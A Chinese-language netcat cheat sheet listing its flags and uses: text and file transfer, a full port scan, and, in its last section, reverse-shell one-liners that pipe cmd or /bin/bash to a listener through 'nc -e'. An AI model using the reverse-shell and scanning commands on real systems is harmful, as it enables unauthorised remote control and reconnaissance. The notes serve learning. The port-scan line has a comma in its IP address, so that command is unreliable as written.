# nc(netcat)
# 支持协议
- TCP
- UDP
# 常用命令
nc -l ## 开启监听 nc -lvvp 9000 | |
-p ## 指定端口 | |
-e ## 程序重定向 | |
-n ## 以数字的形式表示 IP | |
-v ## 显示执行命令过程 | |
-z ## 不进行交互,直接显示结果 | |
-u ## 使用 UDP 协议进行传输 | |
-w ## 设置超时时间 |
# 使用场景
# 传输文本信息 -- 电子取证
## a 设备 | |
nc -lp 4444 > 1.txt | |
## b 设备 | |
ls | nc -nv 192.168.0.1 4444 | |
## 结果可以传输到另一台设备上的 1.txt 文件中 |
# 端口扫描
nc -nvz 192,168.0.1 0-65535 ## 数字 IP,显示信息,不交互,容易被防火墙拦截 |
# 传输文件
## <:发送 | |
## >:接收 | |
## >>:追加 | |
发送:nc -nv 192.168.0.1 4444 < 1.txt | |
接收:nc -lvvp 4444 > log.txt |
# 反向连接
nc -lvvp 4444 ## 开启监听 | |
nc -e cmd 192.168.0.1 4444 ## windows | |
nc -e /bin/bash 192.168.0.1 4444 ## linux |